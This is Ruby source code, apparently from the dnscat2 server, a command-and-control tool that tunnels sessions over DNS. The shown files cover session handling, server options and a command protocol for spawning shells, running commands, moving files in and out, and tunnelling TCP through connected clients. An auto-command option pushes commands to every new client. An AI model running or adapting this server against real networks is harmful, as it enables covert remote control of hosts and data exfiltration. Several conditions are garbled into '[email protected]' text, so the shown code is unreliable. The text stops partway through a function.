1 # session.rb
2 # Created March, 2013
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 ##
8
9 require 'controller/encryptor'
10 require 'controller/packet'
11 require 'drivers/driver_command'
12 require 'drivers/driver_console'
13 require 'drivers/driver_process'
14 require 'libs/commander'
15 require 'libs/dnscat_exception'
16 require 'libs/swindow'
17
18 class Session
19 class SessionKiller < StandardError
20 end
21
22 @@isn = nil # nil = random
23
24 attr_reader :id, :name, :options, :state
25 attr_reader :window
26
27 # The session hasn't seen a SYN packet yet (but may have done some encryption negotiation)
28 STATE_NEW = 0x00
29
30 # After receiving a SYN
31 STATE_ESTABLISHED = 0x01
32
33 # After being manually killed
34 STATE_KILLED = 0xFF
35
36 HANDLERS = {
37 Packet::MESSAGE_TYPE_SYN => :_handle_syn,
38 Packet::MESSAGE_TYPE_MSG => :_handle_msg,
39 Packet::MESSAGE_TYPE_FIN => :_handle_fin,
40 Packet::MESSAGE_TYPE_ENC => :_handle_enc,
41 }
42
43 def initialize(id, main_window)
44 @state = STATE_NEW
45 @kill_reason = nil
46 @their_seq = 0
47 @my_seq = @@isn.nil? ? rand(0xFFFF) : @@isn
48 @options = 0
49
50 @id = id
51 @incoming_data = ''
52 @outgoing_data = ''
53 @driver = nil
54
55 # Stuff that's displayed after the window's name
56 @crypto_state = '[cleartext]'
57
58 # Create this whether or not we're actually encrypting - it cleans up
59 # the handler code
60 @encryptor = Encryptor.new(Settings::GLOBAL.get('secret'))
61
62 @settings = Settings.new()
63 @window = SWindow.new(main_window, false, {:times_out => true})
64
65 @settings.create("prompt", Settings::TYPE_NO_STRIP, "not set> ", "Change the prompt (if you want a space, use quotes; 'set prompt=\"a> \"'.") do |old_val, new_val|
66 @window.prompt = new_val
67 end
68
69 @settings.create("name", Settings::TYPE_NO_STRIP, "(not set)", "Change the name of the window, and how it's displayed on the 'windows' list; this implicitly changes the prompt as well.") do |old_val, new_val|
70 @window.name = new_val + ' ' + @crypto_state
71 @settings.set("prompt", "%s %d> " % [new_val, @window.id])
72 end
73
74 @settings.create("history_size", Settings::TYPE_INTEGER, @window.history_size, "Change the number of lines to store in the window's history") do |old_val, new_val|
75 @window.history_size = new_val
76 @window.puts("history_size (session) => #{new_val}")
77 end
78 end
79
80 def kill(reason = "No reason given")
81 @window.with({:to_ancestors=>true, :to_descendants=>true}) do
82 if(@state != STATE_KILLED)
83 @state = STATE_KILLED
84 @kill_reason = reason
85
86 @window.with({:to_ancestors => true}) do
87 @window.puts("Session #{@window.id} killed: #{reason}")
88 end
89 else
90 @window.puts("Session #{@window.id} killed (again): #{reason}")
91 end
92 end
93
94 @window.close()
95 if(@driver)
96 @driver.shutdown()
97 end
98 end
99
100 def _next_outgoing(n)
101 ret = @outgoing_data[0,n-1]
102 return ret
103 end
104
105 def _ack_outgoing(n)
106 # "n" is the current ACK value
107 bytes_acked = (n - @my_seq)
108
109 # Handle wraparounds properly
110 if(bytes_acked < 0)
111 bytes_acked += 0x10000
112 end
113
114 @outgoing_data = @outgoing_data[bytes_acked..-1]
115 @my_seq = n
116 end
117
118 def _valid_ack?(ack)
119 bytes_acked = (ack - @my_seq) & 0xFFFF
120 return bytes_acked <= @outgoing_data.length
121 end
122
123 def queue_outgoing(data)
124 @outgoing_data = @outgoing_data + data.force_encoding("ASCII-8BIT")
125 end
126
127 def to_s()
128 return "id: 0x%04x [internal: %d], state: %d, their_seq: 0x%04x, my_seq: 0x%04x, incoming_data: %d bytes [%s], outgoing data: %d bytes [%s]" % [@id, @window.id, @state, @their_seq, @my_seq, @incoming_data.length, @incoming_data, @outgoing_data.length, @outgoing_data]
129 end
130
131 def _do_display_crypto_values()
132 @window.with({:to_ancestors => true}) do
133 if(@encryptor.authenticated?())
134 @window.puts("Session #{@window.id} Security: ENCRYPTED AND VERIFIED!")
135 @window.puts("(the security depends on the strength of your pre-shared secret!)")
136 elsif(@encryptor.ready?())
137 @window.puts("Session #{@window.id} security: ENCRYPTED BUT *NOT* VALIDATED")
138 @window.puts("For added security, please ensure the client displays the same string:")
139 @window.puts()
140 @window.puts(">> #{@encryptor.get_sas()}")
141 else
142 @window.puts("Session #{@window.id} security: UNENCRYPTED")
143 end
144 end
145 end
146
147 def _handle_syn(packet, max_length)
148 options = 0
149
150 # Ignore errant SYNs - they are, at worst, retransmissions that we don't care about
151 if(@state != STATE_NEW)
152 raise(DnscatException, "Duplicate SYN received!")
153 end
154
155 _do_display_crypto_values()
156
157 # Save some of their options
158 @their_seq = packet.body.seq
159 @options = packet.body.options
160
161 # TODO: We're going to need different driver types
162 if((@options & Packet::OPT_COMMAND) == Packet::OPT_COMMAND)
163 @driver = DriverCommand.new(@window, @settings)
164 else
165 process = @settings.get("process")
166 if(process.nil?)
167 @driver = DriverConsole.new(@window, @settings)
168 else
169 @driver = DriverProcess.new(@window, @settings, process)
170 end
171 end
172
173 if((@options & Packet::OPT_NAME) == Packet::OPT_NAME)
174 @settings.set("name", packet.body.name)
175 else
176 @settings.set("name", "unnamed")
177 end
178
179 if(Settings::GLOBAL.get("auto_attach"))
180 @window.activate()
181 end
182
183 # Feed the auto_command into the window, as if it was user input
184 if(auto_command = Settings::GLOBAL.get("auto_command"))
185 auto_command.split(";").each do |command|
186 command = command.strip()
187 window.fake_input(command)
188 end
189 end
190
191 # Move states (this has to come after the encryption code, otherwise this packet is accidentally encrypted)
192 @state = STATE_ESTABLISHED
193
194 return Packet.create_syn(options, {
195 :session_id => @id,
196 :seq => @my_seq
197 })
198 end
199
200 def _actual_msg_max_length(max_data_length)
201 return max_data_length - (Packet.header_size(@options) + Packet::MsgBody.header_size(@options))
202 end
203
204 def _handle_msg(packet, max_length)
205 if(@state != STATE_ESTABLISHED)
206 raise(DnscatException, "MSG received in invalid state!")
207 end
208
209 # Validate the sequence number
210 if(@their_seq != packet.body.seq)
211 @window.puts("Client sent a bad sequence number (expected #{@their_seq}, received #{packet.body.seq}); re-sending")
212
213 # Re-send the last packet
214 old_data = _next_outgoing(_actual_msg_max_length(max_length))
215
216 return Packet.create_msg(@options, {
217 :session_id => @id,
218 :data => old_data,
219 :seq => @my_seq,
220 :ack => @their_seq,
221 })
222 end
223
224 # Validate the acknowledgement number
225 if(!_valid_ack?(packet.body.ack))
226 # Re-send the last packet
227 old_data = _next_outgoing(_actual_msg_max_length(max_length))
228
229 return Packet.create_msg(@options, {
230 :session_id => @id,
231 :data => old_data,
232 :seq => @my_seq,
233 :ack => @their_seq,
234 })
235 end
236
237 # Acknowledge the data that has been received so far
238 # Note: this is where @my_seq is updated
239 _ack_outgoing(packet.body.ack)
240
241 # Write the incoming data to the session
242 @outgoing_data += @driver.feed(packet.body.data)
243
244 # Increment the expected sequence number
245 @their_seq = (@their_seq + packet.body.data.length) & 0xFFFF;
246
247 # Read the next piece of data
248 new_data = _next_outgoing(_actual_msg_max_length(max_length))
249
250 # Create a packet out of it
251 packet = Packet.create_msg(@options, {
252 :session_id => @id,
253 :data => new_data,
254 :seq => @my_seq,
255 :ack => @their_seq,
256 })
257
258 return packet
259 end
260
261 def _handle_fin(packet, max_length)
262 raise(Session::SessionKiller, "Received FIN! Bye!")
263 end
264
265 def _handle_enc(packet, max_length)
266 params = {
267 :session_id => @id,
268 :subtype => packet.body.subtype,
269 :flags => 0,
270 }
271
272 if(packet.body.subtype == Packet::EncBody::SUBTYPE_INIT)
273 @encryptor.set_their_public_key(packet.body.public_key_x, packet.body.public_key_y)
274
275 # No matter what, respond with our public key
276 params[:public_key_x] = @encryptor.my_public_key_x()
277 params[:public_key_y] = @encryptor.my_public_key_y()
278
279 elsif(packet.body.subtype == Packet::EncBody::SUBTYPE_AUTH)
280 if([email protected]?())
281 raise(Session::SessionKiller, "Tried to authenticate before the public key was set")
282 end
283
284 # Check their authenticator
285 begin
286 @encryptor.set_their_authenticator(packet.body.authenticator)
287 rescue Encryptor::Error
288 raise(Session::SessionKiller, "Invalid authenticator (pre-shared secret)")
289 end
290
291 params[:authenticator] = @encryptor.my_authenticator
292 else
293 raise(DnscatException, "Don't know how to parse encryption subtype in: #{packet}")
294 end
295
296 # Update the session info
297 if(@encryptor.authenticated?())
298 @crypto_state = "[encrypted and verified]"
299 elsif(@encryptor.ready?())
300 @crypto_state = "[encrypted, NOT verified]"
301 else
302 @crypto_state = "[cleartext]"
303 end
304
305 # Force a name update so the text gets added
306 @settings.set('name', @settings.get('name'))
307
308 return Packet.create_enc(params)
309 end
310
311 def _get_pcap_window()
312 id = "pcap#{@window.id}"
313
314 if(SWindow.exists?(id))
315 return SWindow.get(id)
316 end
317
318 return SWindow.new(@window, false, {
319 :id => id,
320 :name => "dnscat2 protocol window for session #{@window.id}",
321 :noinput => true,
322 })
323 end
324
325 def _check_crypto_options(packet)
326 # Don't enforce encryption on ENC|INIT packets
327 if(packet.type == Packet::MESSAGE_TYPE_ENC && packet.body.subtype == Packet::EncBody::SUBTYPE_INIT)
328 return
329 end
330
331 if(Settings::GLOBAL.get('security') == 'open')
332 return
333 end
334
335 if([email protected]?())
336 @window.with({:to_ancestors => true}) do
337 @window.puts("Client attempted to connect with encryption disabled!")
338 @window.puts("If this was intentional, you can make encryption optional with 'set security=open'")
339 end
340
341 raise(Session::SessionKiller, "This server requires an encrypted connection!")
342 end
343
344 # Don't enforce authentication on AUTH packets
345 if(packet.type == Packet::MESSAGE_TYPE_ENC && packet.body.subtype == Packet::EncBody::SUBTYPE_AUTH)
346 return
347 end
348
349 if(Settings::GLOBAL.get('security') == 'encrypted')
350 return
351 end
352
353 if([email protected]?())
354 @window.with({:to_ancestors => true}) do
355 @window.puts("Client attempted to connect without a pre-shared secret!")
356 @window.puts("If this was intentional, you can make authentication optional with 'set security=encrypted'")
357 end
358
359 raise(Session::SessionKiller, "This server requires an encrypted and authenticated connection!")
360 end
361 end
362
363 def _handle_incoming(data, max_length)
364 packet = Packet.parse(data, @options)
365
366 if(Settings::GLOBAL.get("packet_trace"))
367 window = _get_pcap_window()
368 window.puts("IN: #{packet}")
369 end
370
371 # We can send a FIN and close right away if the session was killed
372 if(@state == STATE_KILLED)
373 raise(Session::SessionKiller, @kill_reason)
374 end
375
376 # Unless it's an encrypted packet (which implies that we're still negotiating stuff), enforce encryption restraints
377 _check_crypto_options(packet)
378
379 # Find the appropriate handler for the packet type
380 handler = HANDLERS[packet.type]
381 if(handler.nil?)
382 raise(DnscatException, "No handler found for that packet type: #{packet.type}")
383 end
384
385 # Handle the packet
386 return send(handler, packet, max_length)
387 end
388
389 def feed(possibly_encrypted_data, max_length)
390 # Tell the window that we're still alive
391 window.kick()
392
393 begin
394 return @encryptor.decrypt_and_encrypt(possibly_encrypted_data) do |data, was_encrypted|
395 begin
396 if(@driver && @driver.stopped)
397 raise(Session::SessionKiller, "The driver requested it be stopped!")
398 end
399
400 if(was_encrypted)
401 max_length -= 8
402 end
403
404 response_packet = _handle_incoming(data, max_length)
405 rescue Session::SessionKiller => e
406 # Kill it
407 kill(e.message)
408
409 # Respond with a FIN
410 response_packet = Packet.create_fin(@options, {
411 :session_id => @id,
412 :reason => "Session killed: #{e.message}",
413 })
414 rescue DnscatException => e
415 # Tell everybody
416 @window.with({:to_ancestors => true}) do
417 @window.puts("An error occurred (see window #{@window.id} for stacktrace): #{e.message}")
418 end
419 @window.puts()
420 @window.puts("If you think this might be a bug, please report this trace:")
421 @window.puts(e.inspect)
422 e.backtrace.each do |bt|
423 @window.puts(bt)
424 end
425
426 # Don't respond
427 response_packet = nil
428 end
429
430 # Print the packet if the user requested a trace
431 if(Settings::GLOBAL.get("packet_trace"))
432 window = _get_pcap_window()
433 if(response_packet.nil?)
434 window.puts("OUT: <no data>")
435 else
436 window.puts("OUT: #{response_packet}")
437 end
438 end
439
440 if(response_packet)
441 response_packet.to_bytes()
442 else
443 nil
444 end
445 end
446 rescue Encryptor::Error # => e
447 #@window.puts("There was an error decrypting or encrypting data: #{e}")
448 return ''
449 end
450 end
451 end
0 ##
1 # dnscat2_server.rb
2 # Created March, 2013
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # Implements basically the full Dnscat2 protocol. Doesn't care about
8 # lower-level protocols.
9 ##
10
11 $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9
12
13 # Create the window right away so other includes can create their own windows if they want
14 require 'libs/swindow'
15 WINDOW = SWindow.new(nil, true, { :prompt => "dnscat2> ", :name => "main" })
16
17 require 'controller/controller'
18 require 'libs/command_helpers'
19 require 'libs/settings'
20 require 'tunnel_drivers/driver_dns'
21 require 'tunnel_drivers/driver_tcp'
22 require 'tunnel_drivers/tunnel_drivers'
23
24 # Option parsing
25 require 'trollop'
26
27 require 'securerandom'
28
29 # version info
30 NAME = "dnscat2"
31 VERSION = "0.07"
32
33 # Don't ignore unhandled errors in threads
34 Thread.abort_on_exception = true
35
36 # Options
37 opts = Trollop::options do
38 version(NAME + " v" + VERSION + " (server)")
39 banner("You'll almost certainly want to run this in one of a few ways...")
40 banner("")
41 banner("Default host (0.0.0.0) and port (53), with no specific domain:")
42 banner("# ruby dnscat2.rb")
43 banner("")
44 banner("Default host/port, with a particular domain to listen on:")
45 banner("# ruby dnscat2.rb domain.com")
46 banner("")
47 banner("Or multiple domains:")
48 banner("# ruby dnscat2.rb a.com b.com c.com")
49 banner("")
50 banner("If you need to change the address or port it's listening on, that")
51 banner("can be done by passing the --dns argument:")
52 banner("# ruby dnscat2.rb --dns 'host=127.0.0.1,port=53531,domain=a.com,domain=b.com'")
53 banner("")
54 banner("For other options, see below!")
55 banner("")
56
57 opt :h, "Placeholder for help", :type => :boolean, :default => false
58 opt :version, "Get the dnscat version", :type => :boolean, :default => false
59
60 opt :dns, "Start a DNS server. Can optionally pass a number of comma-separated name=value pairs (host, port, domain). Eg, '--dns host=0.0.0.0,port=53531,domain=skullseclabs.org' - 'domain' can be passed multiple times",
61 :type => :string, :default => nil
62 opt :dnshost, "The DNS ip address to listen on [deprecated]",
63 :type => :string, :default => "0.0.0.0"
64 opt :dnsport, "The DNS port to listen on [deprecated]",
65 :type => :integer, :default => 53
66 opt :passthrough, "Unhandled requests are sent upstream DNS server, host:port",
67 :type => :string, :default => ""
68
69 opt :security, "Set the security level; 'open' lets the client choose; 'encrypted' requires encryption (default if --secret isn't set); 'authenticated' requires encryption and authentication (default if --secret is set)",
70 :type => :string, :default => nil
71 opt :secret, "A pre-shared secret, passed to both the client and server to prevent man-in-the-middle attacks",
72 :type => :string, :default => nil
73
74 opt :auto_command, "Send this to each client that connects",
75 :type => :string, :default => ""
76 opt :auto_attach, "Automatically attach to new sessions",
77 :type => :boolean, :default => false
78 opt :packet_trace, "Display incoming/outgoing dnscat packets",
79 :type => :boolean, :default => false
80 opt :process, "If set, the given process is run for every incoming console/exec session and given stdin/stdout. This has security implications.",
81 :type => :string, :default => nil
82 opt :history_size, "The number of lines of history that windows will maintain",
83 :type => :integer, :default => 1000
84
85 opt :listener, "DEBUG: Start a listener driver on the given port",
86 :type => :integer, :default => nil
87
88 opt :firehose, "If set, all output goes to stdout instead of being put in windows.",
89 :type => :boolean, :default => false
90 end
91
92 SWindow.set_firehose(opts[:firehose])
93
94 if(opts[:security].nil?)
95 if(opts[:secret].nil?)
96 opts[:security] = 'encrypted'
97 else
98 opts[:security] = 'authenticated'
99 end
100 end
101
102 if(opts[:secret].nil?)
103 opts[:secret] = SecureRandom::hex(16)
104 end
105
106 WINDOW.puts("Welcome to dnscat2! Some documentation may be out of date.")
107 WINDOW.puts()
108
109 if(opts[:h])
110 WINDOW.puts("To get help, you have to use --help; I can't find any way to make")
111 WINDOW.puts("'-h' work on my command parser... :(")
112 exit
113 end
114
115 controller = Controller.new()
116
117 begin
118 Settings::GLOBAL.create("packet_trace", Settings::TYPE_BOOLEAN, opts[:packet_trace], "If set to 'true', will open some extra windows that will display incoming/outgoing dnscat2 packets, and also parsed command packets for command sessions.") do |old_val, new_val|
119 # We don't have any callbacks
120 end
121
122 Settings::GLOBAL.create("passthrough", Settings::TYPE_BLANK_IS_NIL, opts[:passthrough], "Send queries to the given upstream host (note: this can cause weird recursion problems). Expected: 'set passthrough host:port'. Set to blank to disable.") do |old_val, new_val|
123 if(new_val.nil?)
124 WINDOW.puts("passthrough => disabled")
125
126 DriverDNS.set_passthrough(nil, nil)
127 next
128 end
129
130 host, port = new_val.split(/:/, 2)
131 port = port || 53
132
133 DriverDNS.set_passthrough(host, port)
134 WINDOW.puts("passthrough => #{host}:#{port}")
135 end
136
137 Settings::GLOBAL.create("auto_attach", Settings::TYPE_BOOLEAN, opts[:auto_attach], "If true, the UI will automatically open new sessions") do |old_val, new_val|
138 WINDOW.puts("auto_attach => #{new_val}")
139 end
140
141 Settings::GLOBAL.create("auto_command", Settings::TYPE_BLANK_IS_NIL, opts[:auto_command], "The command (or semicolon-separated list of commands) will automatically be executed for each new session as if they were typed at the keyboard.") do |old_val, new_val|
142 WINDOW.puts("auto_command => #{new_val}")
143 end
144
145 Settings::GLOBAL.create("process", Settings::TYPE_BLANK_IS_NIL, opts[:process] || "", "If set, this process is spawned for each new console session ('--console' on the client), and it handles the session instead of getting the i/o from the keyboard.") do |old_val, new_val|
146 WINDOW.puts("process => #{new_val}")
147 end
148
149 Settings::GLOBAL.create("history_size", Settings::TYPE_INTEGER, opts[:history_size], "Change the number of lines to store in the new windows' histories") do |old_val, new_val|
150 SWindow.history_size = new_val
151 WINDOW.puts("history_size (for new windows) => #{new_val}")
152 end
153
154 Settings::GLOBAL.create("security", Settings::TYPE_STRING, opts[:security], "Options: 'open' (let the client decide), 'encrypted' (require clients to encrypt), 'authenticated' (require clients to authenticate)") do |old_val, new_val|
155 options = {
156 'open' => "Client can decide on security level",
157 'encrypted' => "All connections must be encrypted",
158 'authenticated' => "All connections must be encrypted and authenticated",
159 }
160
161 new_val_str = options[new_val]
162
163 if(!new_val_str)
164 raise(Settings::ValidationError, "Valid options for security: #{options.keys.map() { |value| "'#{value}'" }.join(', ')}")
165 end
166
167 WINDOW.puts("Security policy changed: #{new_val_str}")
168 end
169
170 Settings::GLOBAL.create("secret", Settings::TYPE_STRING, opts[:secret], "Pass the same --secret value to the client and the server for extra security") do |old_val, new_val|
171 end
172 rescue Settings::ValidationError => e
173 WINDOW.puts("There was an error with one of your commandline arguments:")
174 WINDOW.puts(e)
175 WINDOW.puts()
176
177 Trollop::die("Check your command-line arguments")
178 end
179
180 domains = []
181 if(opts[:dns])
182 begin
183 dns_settings = CommandHelpers.parse_setting_string(opts[:dns], { :host => "0.0.0.0", :port => "53", :domains => [], :domain => [] })
184 dns_settings[:domains] = dns_settings[:domain] + dns_settings[:domains]
185 rescue ArgumentError => e
186 WINDOW.puts("Sorry, we had trouble parsing your --dns string:")
187 WINDOW.puts(e)
188 exit(1)
189 end
190 elsif(opts[:dnsport] || opts[:dnshost])
191 # This way of starting a server is deprecated, technically
192 dns_settings = {
193 :host => opts[:dnshost],
194 :port => opts[:dnsport],
195 :domains => [],
196 }
197 end
198
199 # Add any domains passed on the commandline
200 dns_settings[:domains] = dns_settings[:domains] || []
201 dns_settings[:domains] += ARGV
202
203 # Start the DNS driver
204 TunnelDrivers.start({
205 :controller => controller,
206 :driver => DriverDNS,
207 :args => [dns_settings[:host], dns_settings[:port], dns_settings[:domains]],
208 })
209
210 # Wait for the input window to finish its thing
211 SWindow.wait()
0 ##
1 # command_packet.rb
2 # Created May, 2014
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 require 'libs/dnscat_exception'
9 require 'libs/hex'
10
11 ##
12 # Defines a packet in the "command protocol". There's a document in the docs/
13 # folder that describes the command protocol, but essentially it's a protocol
14 # that runs on top of the dnscat2 protocol and provides functionality like
15 # uploading/downloading files, spawning a shell, etc.
16 #
17 # By default, when a new session is created, it's a "command session", where
18 # on the server, a Meterpreter-like menu is given.
19 ##
20 class CommandPacket
21 COMMAND_PING = 0x0000
22 COMMAND_SHELL = 0x0001
23 COMMAND_EXEC = 0x0002
24 COMMAND_DOWNLOAD = 0x0003
25 COMMAND_UPLOAD = 0x0004
26 COMMAND_SHUTDOWN = 0x0005
27 COMMAND_DELAY = 0x0006
28 TUNNEL_CONNECT = 0x1000
29 TUNNEL_DATA = 0x1001
30 TUNNEL_CLOSE = 0x1002
31 COMMAND_ERROR = 0xFFFF
32
33 COMMAND_NAMES = {
34 0x0000 => "COMMAND_PING",
35 0x0001 => "COMMAND_SHELL",
36 0x0002 => "COMMAND_EXEC",
37 0x0003 => "COMMAND_DOWNLOAD",
38 0x0004 => "COMMAND_UPLOAD",
39 0x0005 => "COMMAND_SHUTDOWN",
40 0x0006 => "COMMAND_DELAY",
41 0x1000 => "TUNNEL_CONNECT",
42 0x1001 => "TUNNEL_DATA",
43 0x1002 => "TUNNEL_CLOSE",
44 0xFFFF => "COMMAND_ERROR",
45 }
46
47 STATUS_OK = 0x0000
48 TUNNEL_STATUS_FAIL = 0x8000
49
50 # These are used in initialize() to make sure the caller is passing in the
51 # right fields
52 VALIDATORS = {
53 COMMAND_PING => {
54 :request => [ :data ],
55 :response => [ :data ],
56 },
57 COMMAND_SHELL => {
58 :request => [ :name ],
59 :response => [ :session_id ],
60 },
61 COMMAND_EXEC => {
62 :request => [ :name, :command ],
63 :response => [ :session_id ],
64 },
65 COMMAND_DOWNLOAD => {
66 :request => [ :filename ],
67 :response => [ :data ],
68 },
69 COMMAND_UPLOAD => {
70 :request => [ :filename, :data ],
71 :response => [],
72 },
73 COMMAND_SHUTDOWN => {
74 :request => [],
75 :response => [],
76 },
77 COMMAND_DELAY => {
78 :request => [ :delay ],
79 :response => [],
80 },
81 TUNNEL_CONNECT => {
82 :request => [ :options, :host, :port ],
83 :response => [ :tunnel_id ],
84 },
85 TUNNEL_DATA => {
86 :request => [ :tunnel_id, :data ],
87 :response => [],
88 },
89 TUNNEL_CLOSE => {
90 :request => [ :tunnel_id, :reason ],
91 :response => [],
92 },
93 COMMAND_ERROR => {
94 :request => [ :status, :reason ],
95 :response => [ :status, :reason ],
96 }
97 }
98
99 def CommandPacket._at_least?(data, needed)
100 if(data.length < needed)
101 raise(DnscatException, "Command packet validation failed: data wasn't long enough (needed at least #{needed}, only had #{data.length}).")
102 end
103 end
104
105 def CommandPacket._null_terminated?(data)
106 if(data.index("\0").nil?)
107 raise(DnscatException, "Command packet validation failed: data wasn't NUL terminated.")
108 end
109 end
110
111 def CommandPacket._done?(data)
112 if(data.length > 0)
113 raise(DnscatException, "Command packet validation failed: there was extra data on the end of the packet")
114 end
115 end
116
117 def set(name, value)
118 @data[name] = value
119 end
120
121 def get(name)
122 return @data[name]
123 end
124
125 def CommandPacket.ready?(packet)
126 if(packet.length < 4)
127 return false
128 end
129
130 length, packet = packet.unpack("Na*")
131 return (packet.length >= length)
132 end
133
134 def CommandPacket.parse(packet)
135 _at_least?(packet, 4)
136 data = {}
137
138 # Read and parse the packed_id (which is is_response + request_id)
139 packed_id, packet = packet.unpack("na*")
140 data[:is_request] = !((packed_id & 0x8000) == 0x8000)
141 data[:request_id] = packed_id & 0x7FFF
142
143 # Unpack the command_id
144 data[:command_id], packet = packet.unpack("na*")
145
146 case data[:command_id]
147 when COMMAND_PING
148 if(data[:is_request])
149 _null_terminated?(packet)
150 data[:data], packet = packet.unpack("Z*a*")
151 else
152 _null_terminated?(packet)
153 data[:data], packet = packet.unpack("Z*a*")
154 end
155
156 when COMMAND_SHELL
157 if(data[:is_request])
158 _null_terminated?(packet)
159 data[:name], packet = packet.unpack("Z*a*")
160 else
161 _at_least?(packet, 2)
162 data[:session_id], packet = packet.unpack("na*")
163 end
164
165 when COMMAND_EXEC
166 if(data[:is_request])
167 _null_terminated?(packet)
168 data[:command], packet = packet.unpack("Z*a*")
169 else
170 _at_least?(packet, 2)
171 data[:session_id], packet = packet.unpack("na*")
172 end
173
174 when COMMAND_DOWNLOAD
175 if(data[:is_request])
176 _null_terminated?(packet)
177 data[:filename], packet = packet.unpack("Z*a*")
178 else
179 data[:data], packet = packet.unpack("a*a0")
180 end
181
182 when COMMAND_UPLOAD
183 if(data[:is_request])
184 _null_terminated?(packet)
185 data[:filename], packet = packet.unpack("Z*a*")
186 data[:data], packet = packet.unpack("a*a0")
187 else
188 # n/a
189 end
190
191 when COMMAND_SHUTDOWN
192 # n/a - there's no data in either direction
193
194 when COMMAND_DELAY
195 if (data[:is_request])
196 _at_least?(packet, 4)
197 data[:delay], packet = packet.unpack("Na*")
198 end
199
200 when TUNNEL_CONNECT
201 if(data[:is_request])
202 _at_least?(packet, 4)
203 data[:options], packet = packet.unpack("Na*")
204
205 _null_terminated?(packet)
206 data[:host], packet = packet.unpack("Z*a*")
207
208 _at_least?(packet, 2)
209 data[:port], packet = packet.unpack("na*")
210 else
211 _at_least?(packet, 4)
212 data[:tunnel_id], packet = packet.unpack("Na*")
213 end
214
215 when TUNNEL_DATA
216 if(data[:is_request])
217 _at_least?(packet, 4)
218 data[:tunnel_id], data[:data], packet = packet.unpack("Na*a*")
219 else
220 _at_least?(packet, 4)
221 data[:tunnel_id], data[:data], packet = packet.unpack("Na*a*")
222 end
223
224 when TUNNEL_CLOSE
225 if(data[:is_request])
226 _at_least?(packet, 4)
227 data[:tunnel_id], packet = packet.unpack("Na*")
228 _null_terminated?(packet)
229 data[:reason], packet = packet.unpack("Z*a*")
230 else
231 # n/a
232 end
233
234 when COMMAND_ERROR
235 _at_least?(packet, 2)
236 data[:status], packet = packet.unpack("na*")
237
238 _null_terminated?(packet)
239 data[:reason], packet = packet.unpack("Z*a*")
240 end
241
242 _done?(packet)
243
244 return CommandPacket.new(data)
245 end
246
247 # Verifies that all required fields for the type are present.
248 # :command_id, :request_id, and :is_request are all required.
249 def validate(data)
250 # Make sure they passed in a command_id and request_id
251 if(data[:command_id].nil?)
252 raise(DnscatException, "Required field missing: :command_id")
253 end
254 if(data[:request_id].nil?)
255 raise(DnscatException, "Required field missing: :request_id")
256 end
257
258 # Find a validator for this
259 validator = VALIDATORS[data[:command_id]]
260 if(validator.nil?)
261 raise(DnscatException, "Unknown command_id (#{data[:command_id]}) or missing validator")
262 end
263
264 # Make sure they set is_request and get the appropriate validator
265 if(data[:is_request].nil?)
266 raise(DnscatException, "Required field missing: :is_request")
267 end
268 validator = data[:is_request] ? validator[:request] : validator[:response]
269
270 # Make sure all the fields in the validator are present
271 validator.each do |f|
272 if(data[f].nil?)
273 raise(DnscatException, "Required field missing: #{f}")
274 end
275 end
276 end
277
278 # Data is simply a hash of the required fields (see the VALIDATORS variable
279 # for which fields are required for each message type).
280 def initialize(data)
281 validate(data)
282 @data = data.clone()
283 end
284
285 # Convert to a byte string
286 def serialize()
287 # Make sure the data is sane
288 validate(@data)
289
290 # Generate the packed id
291 packed_id = @data[:is_request] ? 0x0000 : 0x8000
292 packed_id |= @data[:request_id] & 0x7FFF
293
294 # Start building the packet
295 packet = [packed_id, @data[:command_id]].pack("nn")
296
297 case @data[:command_id]
298 when COMMAND_PING
299 packet += [@data[:data]].pack("Z*")
300
301 when COMMAND_SHELL
302 if(@data[:is_request])
303 packet += [@data[:name]].pack("Z*")
304 else
305 packet += [@data[:session_id]].pack("n")
306 end
307
308 when COMMAND_EXEC
309 if(@data[:is_request])
310 packet += [@data[:name]].pack("Z*")
311 packet += [@data[:command]].pack("Z*")
312 else
313 packet += [@data[:session_id]].pack("n")
314 end
315
316 when COMMAND_DOWNLOAD
317 if(@data[:is_request])
318 packet += [@data[:filename]].pack("Z*")
319 else
320 packet += [@data[:data]].pack("a*")
321 end
322
323 when COMMAND_UPLOAD
324 if(@data[:is_request])
325 packet += [@data[:filename], @data[:data]].pack("Z*a*")
326 else
327 # n/a
328 end
329
330 when COMMAND_SHUTDOWN
331 # n/a - there's no data in either direction
332
333 when COMMAND_DELAY
334 if (@data[:is_request])
335 packet += [@data[:delay]].pack("N")
336 end
337
338 when TUNNEL_CONNECT
339 if(@data[:is_request])
340 packet += [@data[:options], @data[:host], @data[:port]].pack("NZ*n")
341 else
342 packet += [@data[:tunnel_id]].pack("N")
343 end
344
345 when TUNNEL_DATA
346 if(@data[:is_request])
347 packet += [@data[:tunnel_id], @data[:data]].pack("Na*")
348 else
349 # n/a
350 raise(DnscatException, "Trying to send a response to a TUNNEL_DATA request isn't allowed!")
351 end
352
353 when TUNNEL_CLOSE
354 if(@data[:is_request])
355 packet += [@data[:tunnel_id], @data[:reason]].pack("NZ*")
356 else
357 # n/a
358 raise(DnscatException, "Trying to send a response to a TUNNEL_CLOSE request isn't allowed!")
359 end
360
361 when COMMAND_ERROR
362 packet += [@data[:status], @data[:reason]].pack("nZ*")
363 end
364
365 return packet
366 end
367
368 # Convert to a user-readable string
369 def to_s()
370 response = "%s :: %s\n" % [COMMAND_NAMES[@data[:command_id]], @data.to_s()]
371 response += Hex.to_s(self.serialize())
372
373 return response
374 end
375 end
0 ##
1 # driver_command.rb
2 # Created August 29, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 ##
7
8 require 'shellwords'
9
10 require 'drivers/command_packet'
11 require 'drivers/driver_command_commands'
12 require 'drivers/driver_command_tunnels'
13
14 class DriverCommand
15 include DriverCommandCommands
16 include DriverCommandTunnels
17
18 attr_reader :stopped
19
20 @@mutex = Mutex.new()
21
22 def request_id()
23 id = @request_id
24 @request_id += 1
25 return id
26 end
27
28 def _get_pcap_window()
29 id = "cmdpcap#{@window.id}"
30
31 if(SWindow.exists?(id))
32 return SWindow.get(id)
33 end
34
35 return SWindow.new(@window, false, {
36 :id => id,
37 :name => "dnscat2 command protocol window for session #{@window.id}",
38 :noinput => true,
39 })
40 end
41
42 def _send_request(request, callback)
43 # Make sure this is synchronous so threads don't fight
44 @@mutex.synchronize() do
45 if(callback)
